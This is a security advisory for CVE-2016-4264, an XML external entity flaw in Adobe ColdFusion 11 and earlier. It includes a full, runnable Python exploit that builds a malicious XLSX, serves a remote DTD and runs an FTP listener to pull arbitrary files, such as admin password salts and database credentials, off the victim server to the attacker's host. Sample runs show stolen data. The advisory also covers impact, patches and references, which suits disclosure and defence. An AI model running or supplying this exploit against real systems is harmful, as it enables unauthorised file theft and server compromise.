'''
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com
- CVE-2016-4264
- APSB16-30
- Release date: 31.08.2016
- Severity: Critical
=============================================
I. VULNERABILITY
-------------------------
Adobe ColdFusion <= 11 XML External Entity (XXE) Injection
II. BACKGROUND
-------------------------
"Adobe ColdFusion 11 Enterprise Edition offers a single platform to
rapidly build and deploy scalable, high-performing web and mobile
applications. Leverage unique capabilities to develop, test, and debug
mobile applications end to end. Generate high-quality PDF files and
manipulate them easily."
http://www.adobe.com/products/coldfusion-family.html
ColdFusion is widely deployed. A google search for a ColdFusion index file
(index.cfm) exposes over 30 million websites of various sectors that make use
of ColdFusion platform in a visible way:
https://www.google.com/?q=inurl:%2Findex.cfm
including various government websites:
https://www.google.com/search?q=inurl:index.cfm+site:gov
III. INTRODUCTION
-------------------------
An independent research revealed that Adobe ColdFusion in versions 11 and below
is vulnerable to XXE Injection when processing untrusted office documents.
Depending on web application's functionality and the attacker's ability to
supply a malicious document to be processed by a vulnerable ColdFusion
application, this vulnerability may potentially be exploited by both
low-privileged and unauthenticated remote attackers.
This vulnerability can allow various attacks including:
- reading arbitrary files (stored on the server and within the network shares)
- listing web/system directories
- SSRF attacks / unauthorized access to restricted services running on the localhost
as well as within the victim's server network
- SMB relay attacks
- temporary file uploads which may be used by attackers in combination with LFI
vulnerabilities to supply malicious code
This advisory provides a PoC exploit that demonstrates how a remote attacker
could read arbitrary files from the target server, as well as list directories.
Ability to read arbitrary files could for example let attackers extract sensitive
information such as ColdFusion password hashes of the management console or stored
database credentials.
This could allow unauthorized access to weakly protected ColdFusion management
interfaces and let attackers upload malicious code which could be used to fully
compromise the server.
IV. DESCRIPTION
-------------------------
The XXE vulnerability was found in the Office Open XML (OOXML) processing
functions which are utilised when opening documents that use XML structure.
Documents that are commonly stored in this format include:
- DOCX (Word documents)
- XLSX (Excel spreadsheets)
- PPTX (PowerPoint presentations)
More information about the format can be found in:
https://en.wikipedia.org/wiki/Office_Open_XML
The vulnerability is caused by an unrestricted XML parser which allows
for external XML entities processing when parsing such document.
Many web applications often accept OOXML documents from their users to process
documents of various purposes, for example:
- invoices
- bank statements
- bills
- tax forms
- inventory
- CVs / cover letters
- application forms
etc.
Such upload functionality is often exposed to low-privileged or even
unauthenticated remote users.
If an attacker is able to upload a specially crafted OOXML document
which is later processed by an application written in Adobe ColdFusion,
they may be able to perform various malicious actions including
arbitrary file reading and directory listing as mentioned in the
introduction.
This could for example be used by malicious users to read sensitive
ColdFusion config files such as:
- neo-security.xml , which stores ColdFusion admin's password hash salt
- password.properties , which stores admin's password hash
- neo-datasource.xml , which stores database credentials
that are stored in c:\ColdFusion11\cfusion\lib\ directory by default on Windows
installations.
Attackers might also access the application sourcecodes within the documentroot:
c:\ColdFusion11\cfusion\wwwroot
or access other sensitive system files available within the system.
As the vulnerability also allows browsing the filesystem and its directories,
attackers may easily find interesting files and ColdFusion config/webroot
directories even if the paths differ from the default ones.
Attackers who have gained access to password hashes could then proceed
to cracking them in order to gain unauthorised access to the databases and
ColdFusion administrator panels to fully compromise the target.
More information on hashes used by ColdFusion 11 can be found in the references
below.
The next section presents a PoC exploit that can be used for file/directory
retrieval.
The exploit will work even if the target ColdFusion application does not return
any data back to the attacker upon processing a malicious document file.
The extracted data will be sent over the network back to the attacker as soon
as the document file is processed.
V. PROOF OF CONCEPT EXPLOIT
-------------------------
An example vulnerable ColdFusion application written in CFML language
which loads a spreadsheet document could look as follows:
---[ vulnerable.cfm ]---
<cfspreadsheet format="csv" action="read" src="#expandPath( 'cf_poc_exploit.xlsx' )#" name="xlsdoc" rows="1-4" />
<cfoutput>#xlsdoc#</cfoutput>
------------------------
For simplicity, this ColdFusion application will load cf_poc_exploit.xlsx
document from the current directory.
In a real-world situation the application would allow a user to upload a
document from their disk or alternatively fetch it from a URL.
Attacker could use the exploit below to prepare a malicious document and
supply it to a vulnerable ColdFusion application.
---[ ./cf_xxe_exploit.py ]---
'''
#!/usr/bin/python
intro = """
(CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit
This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be
uploaded to a vulnerable ColdFusion application.
It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080)
in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet).
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
usage = """
Usage:
The exploit requires that you have an external IP and can start web/http listeners on ports
8080/9090 on the attacking machine.
./cf_xxe_exploit.py external_IP 'path_to_fetch'
The example below starts an ftp listener on 192.168.1.40 (port 9090) and web server on 8080
and fetches c:\windows\win.ini file from the target.
./cf_xxe_exploit.py 192.168.1.40 c:/windows/win.ini
The path can also be a directory to retrieve a directory listing e.g:
./cf_xxe_exploit.py 192.168.1.40 c:/
will list the contents of drive C: on Windows
Disclaimer:
For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt
"""
import socket
import subprocess
import sys
import web # http://webpy.org/installation
import threading
import time
# What file to retrieve from the victim server
target_file = "c:/ColdFusion11/cfusion/lib/pass"
# Web server (to serve XML)
external_ip = '192.168.57.10'
web_port = 8080
# File receiver
ftp_port = 9090
timeout=5
# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
class webserver(threading.Thread):
def run (self):
urls = ('/passdata.xml', 'pass_xml')
app = web.application(urls, globals())
#app.run()
return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))
# Pass data to ftp server using passdata.xml
class pass_xml:
def GET(self):
print xxe_send_payload
# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
class webserver(threading.Thread):
def run (self):
urls = ('/passdata.xml', 'pass_xml')
app = web.application(urls, globals())
#app.run()
return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))
# Return helper xml/xxe payload to forward data
class pass_xml:
def GET(self):
print "[+] Received GET /passdata.xml web request from the victim (%s) ! TARGET VULNERABLE to XXE !\n" % (web.ctx['ip'])
return xxe_send_payload
def shutdown(code):
print "[+] That's it folks :) Shutting down \n"
web.httpserver.server.interrupt = KeyboardInterrupt()
exit(code)
# [ Main Meat ]
print intro
redirector_started = 0
if len(sys.argv) < 3 :
print usage
sys.exit(2)
# Overwrite settings with parameters from argv[]
external_ip = sys.argv[1]
target_file = sys.argv[2]
print "[+] Setting external IP to '%s' and target path to '%s'\n" % (external_ip, target_file)
# Prepare XXE payloads
#OOXML XXE stub
ooxml_xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Types [
<!ENTITY % remote SYSTEM "http://_attackerhost_:_webport_/passdata.xml">
%remote;
]>
"""
ooxml_xxe_payload = ooxml_xxe_payload.replace("_attackerhost_", external_ip)
ooxml_xxe_payload = ooxml_xxe_payload.replace("_webport_", str(web_port))
# passdata.xml
xxe_send_payload = """<!ENTITY % file1 SYSTEM "file:///_filepath_">
<!ENTITY % param1 '<!ENTITY % retrfile1 SYSTEM "ftp://cfhack:PoCexploit@_attackerhost_:_ftpport_/%file1;" >' >
%param1;
%retrfile1; """
xxe_send_payload = xxe_send_payload.replace("_filepath_", target_file)
xxe_send_payload = xxe_send_payload.replace("_attackerhost_", external_ip)
xxe_send_payload = xxe_send_payload.replace("_ftpport_", str(ftp_port))
# Create OXML spreadsheet file cf_poc_spreadsheet.xlsx with XXE payload
f = open("[Content_Types].xml", "w")
f.write(ooxml_xxe_payload )
f.close()
cmd = "zip -r cf_poc_spreadsheet.xlsx '[Content_Types].xml' && rm -f '[Content_Types].xml'"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
print "Error: failed to execute command:", cmd
print error
shutdown(3)
print "[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file\n"
print "[+] Starting our web server to serve XML on %s:%s \n" % (external_ip, web_port)
webserver().start()
time.sleep(1)
print '\n[+] Starting FTP/data listener and waiting for connection on %s:%d\n' % (external_ip, ftp_port)
s = socket.socket() # Create/bind socket
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((external_ip, ftp_port))
print "[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...\n"
s.listen(5) # Wait for the victim to connect
c, addr = s.accept() # Establish connection with the victim
print '\n[+] Got a connection from ', addr, " to our FTP/data server. Meaning juicy data is on the way! :)\n"
c.send("220 Welcome to ColdFusion XXE PoC exploit server\n")
print '[+] Receiving data from the victim...\n'
downloaded = ""
while True:
data = ""
c.settimeout(timeout)
try:
data = c.recv(1024)
except socket.timeout:
print "Timeout ! No more data\n"
break
# extract data
if data.startswith("CWD "):
downloaded = downloaded + data[4:]
if data.startswith("RETR "):
downloaded = downloaded + data[5:]
print "Received packet: " + data
#sys.stdout.write('.')
#sys.stdout.flush()
if "USER" in data:
c.send("331 password needed\n")
elif "RETR" in data:
c.send("550 No such file or directory.\n")
break
else:
c.send('230 continue\n')
# Results
print "\n\n[+] Here's the retrieved contents of the target file/directory (%s) : \n\n%s\n" % (target_file, downloaded)
# shutdown
c.close() # Close the connection
s.shutdown(0)
s.close()
shutdown(0)
'''
-------------[eof]-----------
You can see the exploit in action in a PoC video at:
http://legalhackers.com/videos/ColdFusion-XXE-PoC-Exploit
There are also two examples below:
A) Reading c:/ColdFusion11/cfusion/lib/neo-security.xml file which contains admin hash salt:
root@trusty:~/exploit# ./cf_xxe_exploit.py 192.168.57.10 c:/ColdFusion11/cfusion/lib/neo-security.xml
(CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit
This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be
uploaded to a vulnerable ColdFusion application.
It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080)
in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet).
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Setting external IP to '192.168.57.10' and target path to 'c:/ColdFusion11/cfusion/lib/neo-security.xml'
[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file
[+] Starting our web server to serve XML on 192.168.57.10:8080
http://0.0.0.0:8080/
[+] Starting FTP/data listener and waiting for connection on 192.168.57.10:9090
[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...
[+] Received GET /passdata.xml web request from the victim (192.168.57.21) ! TARGET VULNERABLE to XXE !
192.168.57.21:57219 - - [31/Aug/2016 20:12:06] "HTTP/1.1 GET /passdata.xml" - 200 OK
[+] Got a connection from ('192.168.57.21', 57220) to our FTP/data server. Meaning juicy data is on the way! :)
[+] Receiving data from the victim...
Received packet: USER cfhack
Received packet: PASS PoCexploit
Received packet: TYPE I
Received packet: CWD <wddxPacket version='1.0'><header
[cut]
[+] Here's the retrieved contents of the target file/directory (c:/ColdFusion11/cfusion/lib/neo-security.xml) :
<wddxPacket version='1.0'><header
[cut]
struct><
var><var name='admin.userid.root.salt'><string>A54B28011C6AC37F4D65B7D608D40722DAD6CDF25A943C809492637D2CC6265F<
string><
var><var name='rds.enabled'><string>false<
[cut]
[+] That's it folks :) Shutting down
~~~~~~~~~~~~
B) Listing the contents of the c:/ColdFusion11/ directory:
root@trusty:~/exploit# ./cf_xxe_exploit.py 192.168.57.10 c:/ColdFusion11/
[cut]
[+] Setting external IP to '192.168.57.10' and target path to 'c:/ColdFusion11/'
[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file
[+] Starting our web server to serve XML on 192.168.57.10:8080
http://0.0.0.0:8080/
[+] Starting FTP/data listener and waiting for connection on 192.168.57.10:9090
[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...
[+] Received GET /passdata.xml web request from the victim (192.168.57.21) ! TARGET VULNERABLE to XXE !
192.168.57.21:57245 - - [31/Aug/2016 20:14:06] "HTTP/1.1 GET /passdata.xml" - 200 OK
[+] Got a connection from ('192.168.57.21', 57246) to our FTP/data server. Meaning juicy data is on the way! :)
[+] Receiving data from the victim...
Received packet: USER cfhack
Received packet: RETR Adobe_ColdFusion_11_Install_08_30_2016_19_59_04.log
cf_app.ico
[cut]
[+] Here's the retrieved contents of the target file/directory (c:/ColdFusion11/) :
Adobe_ColdFusion_11_Install_08_30_2016_19_59_04.log
cf_app.ico
cfusion
config
jre
license.html
Readme.htm
uninstall
[+] That's it folks :) Shutting down
VI. BUSINESS IMPACT
-------------------------
The vulnerability can be abused by low-privileged or unauthenticated remote
attackers depending on application's functionality and lead to sensitive
information disclosure. It can allow attackers to read arbitrary files or
expose internal services running on the server and within the local network.
Attackers could for example read stored password hashes or database credentials
which may aid attackers with gaining access to ColdFusion admin interface.
Extracting application sourcecodes could also be of use to attackers and help
them to find other vulnerabilities to fully compromise an affected target.
VII. SYSTEMS AFFECTED
-------------------------
ColdFusion installations before:
- ColdFusion 11 Update 10
- ColdFusion 10 Update 21
are affected by this vulnerability.
VIII. SOLUTION
-------------------------
Update to ColdFusion 11 Update 10 which include critical hotfixes released by
the vendor upon initial private disclosure to Adobe. Alternatively users can
upgrade their installation to ColdFusion 2016 which is not affected.
The vulnerability fix/advisory has been assigned APSB16-30 id by Adobe.
Links to the critical Adobe hotfix patches can be found in the references below.
IX. REFERENCES
-------------------------
http://legalhackers.com
http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt
http://legalhackers.com/exploits/cf_xxe_exploit_CVE-2016-4264.py
PoC exploit video:
http://legalhackers.com/videos/ColdFusion-XXE-PoC-Exploit
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4264
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4264
Adobe ColdFusion critical hotfix/vuln announcement:
https://helpx.adobe.com/security/products/coldfusion/apsb16-30.html
Info on ColdFusion configs and used hashes:
http://www.openwall.com/lists/john-users/2015/06/07/1
https://helpx.adobe.com/coldfusion/kb/purpose-location-xml-configuration-files.html
https://blogs.adobe.com/psirt/?p=1395
http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers
Lockdown guides:
http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/cf11/cf11-lockdown-guide.pdf
X. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
XI. REVISION HISTORY
-------------------------
31.08.2016 - advisory released
01.09.2016 - corrections applied
07.09.2016 - added PoC video
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
'''
